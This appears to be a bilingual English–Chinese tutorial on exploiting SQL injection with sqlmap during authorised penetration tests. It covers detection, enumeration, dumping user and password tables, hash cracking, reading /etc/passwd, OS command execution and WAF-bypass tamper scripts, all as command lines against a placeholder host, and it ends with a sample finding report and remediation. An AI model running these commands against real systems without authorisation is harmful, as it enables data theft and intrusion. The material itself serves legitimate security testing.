exploiting-sql-injection-with-sqlmap

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Exploiting SQL Injection with sqlmap

使用sqlmap利用SQL注入漏洞

When to Use

适用场景

  • During authorized web application penetration testing engagements
  • When manual testing reveals potential SQL injection points in parameters, headers, or cookies
  • For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
  • When you need to demonstrate the impact of SQL injection by extracting data from backend databases
  • During CTF challenges involving SQL injection exploitation
  • 在授权的Web应用渗透测试项目中
  • 当手动测试发现参数、请求头或Cookie中存在潜在SQL注入点时
  • 用于验证Burp Suite或OWASP ZAP等自动化扫描工具发现的SQL注入问题
  • 当你需要通过提取后端数据库数据来展示SQL注入的影响时
  • 在涉及SQL注入利用的CTF竞赛中

Prerequisites

前提条件

  • Authorization: Written penetration testing agreement (Rules of Engagement) for the target
  • sqlmap: Install via
    pip install sqlmap
    or
    apt install sqlmap
    on Kali Linux
  • Python 3.6+: Required runtime for sqlmap
  • Burp Suite (optional): For capturing and replaying HTTP requests
  • Target access: Network connectivity to the target web application
  • Browser with proxy: Firefox with FoxyProxy for intercepting requests
  • 授权: 针对目标的书面渗透测试协议(参与规则)
  • sqlmap: 通过
    pip install sqlmap
    安装,或在Kali Linux上使用
    apt install sqlmap
    安装
  • Python 3.6+: sqlmap所需的运行环境
  • Burp Suite(可选): 用于捕获和重放HTTP请求
  • 目标访问权限: 能够连接到目标Web应用的网络权限
  • 带代理的浏览器: 安装FoxyProxy的Firefox浏览器,用于拦截请求

Workflow

操作流程

Step 1: Identify Potential Injection Points

步骤1:识别潜在注入点

Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.
bash
undefined
手动浏览应用,识别与数据库交互的参数。使用Burp Suite捕获请求。
bash
undefined

Start Burp Suite proxy and capture requests

启动Burp Suite代理并捕获请求

Look for parameters in URLs, POST bodies, cookies, and headers

在URL、POST请求体、Cookie和请求头中查找参数

Example target URL with a suspected injectable parameter:

示例包含疑似可注入参数的目标URL:

Test manually for basic SQL injection indicators

手动测试基本SQL注入特征

Look for SQL error messages like:

查找如下SQL错误信息:

- "You have an error in your SQL syntax"

- "You have an error in your SQL syntax"

- "ORA-01756: quoted string not properly terminated"

- "ORA-01756: quoted string not properly terminated"

- "Microsoft SQL Native Client error"

- "Microsoft SQL Native Client error"

undefined
undefined

Step 2: Run sqlmap Basic Detection Scan

步骤2:运行sqlmap基础检测扫描

Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.
bash
undefined
针对疑似注入点启动sqlmap,确认漏洞并识别数据库类型。
bash
undefined

Basic GET parameter test

基础GET参数测试

sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

For POST requests (save the request from Burp Suite to a file)

针对POST请求(将Burp Suite捕获的请求保存到文件)

sqlmap -r request.txt --batch --random-agent
sqlmap -r request.txt --batch --random-agent

Test specific parameter in a POST request

测试POST请求中的特定参数

sqlmap -u "https://target.example.com/login"
--data="username=admin&password=test"
-p "username" --batch --random-agent
sqlmap -u "https://target.example.com/login"
--data="username=admin&password=test"
-p "username" --batch --random-agent

Test with cookie-based injection

基于Cookie的注入测试

sqlmap -u "https://target.example.com/dashboard"
--cookie="session=abc123; user_id=5"
-p "user_id" --batch --random-agent
undefined
sqlmap -u "https://target.example.com/dashboard"
--cookie="session=abc123; user_id=5"
-p "user_id" --batch --random-agent
undefined

Step 3: Enumerate Database Structure

步骤3:枚举数据库结构

Once injection is confirmed, enumerate databases, tables, and columns.
bash
undefined
确认注入漏洞后,枚举数据库、表和列。
bash
undefined

List all databases

列出所有数据库

sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

List tables in a specific database

列出指定数据库中的表

sqlmap -u "https://target.example.com/products?id=1"
-D target_db --tables --batch --random-agent
sqlmap -u "https://target.example.com/products?id=1"
-D target_db --tables --batch --random-agent

List columns in a specific table

列出指定表中的列

sqlmap -u "https://target.example.com/products?id=1"
-D target_db -T users --columns --batch --random-agent
undefined
sqlmap -u "https://target.example.com/products?id=1"
-D target_db -T users --columns --batch --random-agent
undefined

Step 4: Extract Data from Target Tables

步骤4:从目标表提取数据

Dump the contents of sensitive tables to demonstrate impact.
bash
undefined
导出敏感表的内容以展示漏洞影响。
bash
undefined

Dump specific columns from a table

导出表中的指定列

sqlmap -u "https://target.example.com/products?id=1"
-D target_db -T users -C "username,password,email"
--dump --batch --random-agent
sqlmap -u "https://target.example.com/products?id=1"
-D target_db -T users -C "username,password,email"
--dump --batch --random-agent

Dump with row limit to avoid excessive data extraction

限制行数导出,避免提取过多数据

sqlmap -u "https://target.example.com/products?id=1"
-D target_db -T users --dump --start=1 --stop=10
--batch --random-agent
sqlmap -u "https://target.example.com/products?id=1"
-D target_db -T users --dump --start=1 --stop=10
--batch --random-agent

Attempt to crack password hashes automatically

尝试自动破解密码哈希

sqlmap -u "https://target.example.com/products?id=1"
-D target_db -T users -C "username,password"
--dump --batch --passwords --random-agent
undefined
sqlmap -u "https://target.example.com/products?id=1"
-D target_db -T users -C "username,password"
--dump --batch --passwords --random-agent
undefined

Step 5: Test for Advanced Exploitation Vectors

步骤5:测试高级利用向量

Assess the full impact by testing OS-level access and file operations.
bash
undefined
通过测试操作系统级访问和文件操作评估完整影响。
bash
undefined

Check current database user and privileges

检查当前数据库用户和权限

sqlmap -u "https://target.example.com/products?id=1"
--current-user --current-db --is-dba --batch --random-agent
sqlmap -u "https://target.example.com/products?id=1"
--current-user --current-db --is-dba --batch --random-agent

Attempt to read server files (if DBA privileges exist)

尝试读取服务器文件(若拥有DBA权限)

sqlmap -u "https://target.example.com/products?id=1"
--file-read="/etc/passwd" --batch --random-agent
sqlmap -u "https://target.example.com/products?id=1"
--file-read="/etc/passwd" --batch --random-agent

Attempt OS command execution (MySQL with FILE privilege)

尝试执行操作系统命令(拥有FILE权限的MySQL)

sqlmap -u "https://target.example.com/products?id=1"
--os-cmd="whoami" --batch --random-agent
undefined
sqlmap -u "https://target.example.com/products?id=1"
--os-cmd="whoami" --batch --random-agent
undefined

Step 6: Use Tamper Scripts to Bypass WAF/Filters

步骤6:使用Tamper脚本绕过WAF/过滤器

When Web Application Firewalls or input filters block basic payloads, use tamper scripts.
bash
undefined
当Web应用防火墙或输入过滤器拦截基础 payload 时,使用tamper脚本。
bash
undefined

Common tamper scripts for WAF bypass

用于绕过WAF的常见tamper脚本

sqlmap -u "https://target.example.com/products?id=1"
--tamper="space2comment,between,randomcase"
--batch --random-agent
sqlmap -u "https://target.example.com/products?id=1"
--tamper="space2comment,between,randomcase"
--batch --random-agent

For specific WAF bypass (e.g., ModSecurity)

针对特定WAF绕过(如ModSecurity)

sqlmap -u "https://target.example.com/products?id=1"
--tamper="modsecurityversioned,modsecurityzeroversioned"
--batch --random-agent
sqlmap -u "https://target.example.com/products?id=1"
--tamper="modsecurityversioned,modsecurityzeroversioned"
--batch --random-agent

List all available tamper scripts

列出所有可用的tamper脚本

sqlmap --list-tampers
undefined
sqlmap --list-tampers
undefined

Step 7: Generate Report and Clean Up

步骤7:生成报告并清理

Document findings and clean up any artifacts.
bash
undefined
记录发现的问题并清理所有遗留痕迹。
bash
undefined

sqlmap stores results in ~/.local/share/sqlmap/output/

sqlmap将结果存储在~/.local/share/sqlmap/output/

Review the target output directory

查看目标输出目录

ls -la ~/.local/share/sqlmap/output/target.example.com/
ls -la ~/.local/share/sqlmap/output/target.example.com/

Export results with specific output directory

将结果导出到指定目录

sqlmap -u "https://target.example.com/products?id=1"
-D target_db -T users --dump
--output-dir="/tmp/pentest-results"
--batch --random-agent
sqlmap -u "https://target.example.com/products?id=1"
-D target_db -T users --dump
--output-dir="/tmp/pentest-results"
--batch --random-agent

Clean sqlmap session data after engagement

测试结束后清理sqlmap会话数据

sqlmap --purge
undefined
sqlmap --purge
undefined

Key Concepts

核心概念

ConceptDescription
Union-based SQLiUses UNION SELECT to append attacker query results to the original query output
Blind Boolean SQLiInfers data one bit at a time by observing true/false application responses
Blind Time-based SQLiUses database sleep functions (e.g.,
SLEEP(5)
) to infer data based on response delays
Error-based SQLiExtracts data through verbose database error messages returned in HTTP responses
Stacked QueriesExecutes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations
Out-of-band SQLiExfiltrates data via DNS or HTTP requests initiated by the database server
Tamper Scriptssqlmap plugins that modify payloads to bypass WAFs and input sanitization filters
Second-order SQLiInjected payload is stored and executed later in a different query context
概念描述
Union-based SQLi使用UNION SELECT将攻击者的查询结果附加到原始查询输出中
Blind Boolean SQLi通过观察应用的真/假响应,逐位推断数据
Blind Time-based SQLi使用数据库睡眠函数(如
SLEEP(5)
),根据响应延迟推断数据
Error-based SQLi通过HTTP响应中返回的详细数据库错误消息提取数据
Stacked Queries执行多个用分号分隔的SQL语句,用于INSERT/UPDATE/DELETE操作
Out-of-band SQLi通过数据库服务器发起的DNS或HTTP请求泄露数据
Tamper Scriptssqlmap的插件,用于修改payload以绕过WAF和输入过滤规则
Second-order SQLi注入的payload被存储,之后在不同的查询上下文执行

Tools & Systems

工具与系统

ToolPurpose
sqlmapAutomated SQL injection detection and exploitation framework
Burp Suite ProfessionalHTTP proxy for intercepting, modifying, and replaying requests
OWASP ZAPFree alternative to Burp for web application scanning and proxying
HavijAutomated SQL injection tool with GUI (Windows)
jSQL InjectionJava-based GUI tool for SQL injection testing
DBeaver/DataGripDatabase clients for verifying extracted data structure
工具用途
sqlmap自动化SQL注入检测与利用框架
Burp Suite ProfessionalHTTP代理,用于拦截、修改和重放请求
OWASP ZAPBurp的免费替代工具,用于Web应用扫描和代理
Havij带GUI的自动化SQL注入工具(Windows平台)
jSQL Injection基于Java的GUI SQL注入测试工具
DBeaver/DataGrip数据库客户端,用于验证提取的数据结构

Common Scenarios

常见场景

Scenario 1: E-commerce Product Page SQLi

场景1:电商产品页面SQL注入

A product detail page uses
id
parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.
产品详情页直接在SQL查询中使用
id
参数。使用sqlmap提取完整的客户数据库(包括支付信息),以展示严重的业务影响。

Scenario 2: Login Form Bypass

场景2:登录表单绕过

A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.
登录表单将用户输入拼接进认证查询。利用该漏洞绕过认证,并枚举数据库中存储的所有用户凭据。

Scenario 3: Search Function with WAF Protection

场景3:带WAF保护的搜索功能

A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like
space2comment
and
between
to encode payloads and bypass the filter rules.
搜索功能存在SQL注入漏洞,但受WAF保护。使用
space2comment
between
等tamper脚本对payload进行编码,绕过过滤规则。

Scenario 4: Cookie-based Blind SQL Injection

场景4:基于Cookie的盲注

A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.
服务器端将会话Cookie值用于数据库查询。使用基于时间的盲注技术逐字符提取数据。

Output Format

输出格式

undefined
undefined

SQL Injection Finding

SQL注入漏洞发现

Vulnerability: SQL Injection (Union-based) Severity: Critical (CVSS 9.8) Location: GET parameter
id
at /products?id=1 Database: MySQL 8.0.32 Impact: Full database read access, 15,000 user records exposed OWASP Category: A03:2021 - Injection
漏洞类型: SQL注入(基于Union) 严重程度: 高危(CVSS 9.8) 位置: GET参数
id
,路径为 /products?id=1 数据库: MySQL 8.0.32 影响: 完全数据库读取权限,15000条用户记录泄露 OWASP分类: A03:2021 - 注入

Evidence

证据

  • Injection point:
    id
    parameter (GET)
  • Technique: UNION query-based
  • Backend DBMS: MySQL >= 5.0
  • Current user: app_user@localhost
  • DBA privileges: No
  • 注入点:
    id
    参数(GET)
  • 技术: 基于UNION查询
  • 后端数据库管理系统: MySQL >= 5.0
  • 当前用户: app_user@localhost
  • DBA权限: 无

Databases Enumerated

枚举的数据库

  1. information_schema
  2. target_app_db
  3. mysql
  1. information_schema
  2. target_app_db
  3. mysql

Sensitive Data Exposed

泄露的敏感数据

  • Table: users (15,247 rows)
  • Columns: id, username, email, password_hash, created_at
  • 表: users(15247行)
  • 列: id, username, email, password_hash, created_at

Recommendation

修复建议

  1. Use parameterized queries (prepared statements) for all database interactions
  2. Implement input validation with allowlists for expected data types
  3. Apply least-privilege database permissions for the application user
  4. Deploy a Web Application Firewall as defense-in-depth
  5. Enable database query logging and monitoring for anomalous patterns
undefined
  1. 所有数据库交互使用参数化查询(预编译语句)
  2. 针对预期数据类型实现基于白名单的输入验证
  3. 为应用数据库用户配置最小权限
  4. 部署Web应用防火墙作为深度防御措施
  5. 启用数据库查询日志和异常模式监控
undefined